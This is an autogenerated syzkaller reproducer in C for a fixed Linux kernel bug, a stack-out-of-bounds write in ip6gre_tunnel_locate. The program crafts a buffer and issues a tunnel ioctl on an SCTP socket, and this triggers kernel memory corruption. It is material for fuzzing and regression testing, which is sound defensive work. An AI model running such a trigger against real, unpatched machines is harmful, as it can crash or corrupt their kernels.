syzkaller-repros/linux/e2451634d3dfc86b73a854b3b5908a2c61c02ea9.c

// KASAN: stack-out-of-bounds Write in ip6gre_tunnel_locate
// https://syzkaller.appspot.com/bug?id=e2451634d3dfc86b73a854b3b5908a2c61c02ea9
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)

#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

uint64_t r[1] = {0xffffffffffffffff};
void loop()
{
  long res = 0;
  res = syscall(__NR_socket, 0xa, 5, 0x84);
  if (res != -1)
    r[0] = res;
  memcpy((void*)0x200000c0,
         "\x69\x70\x36\x67\x72\x65\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00",
         16);
  *(uint64_t*)0x200000d0 = 0x20000140;
  memcpy((void*)0x20000140, "\x67\x7a\xdf\xda\x73\xee\x1e\x9f\xb8\x32\xf6\xc9"
                            "\xfb\x3a\x12\x6d\x8e\x4b\xc2\x88\xe5\xda\x19\xfb"
                            "\x1b\x6a\x1e\x7b\xed\x25\x17\x80",
         32);
  syscall(__NR_ioctl, r[0], 0x89f1, 0x200000c0);
}

int main()
{
  syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
  loop();
  return 0;
}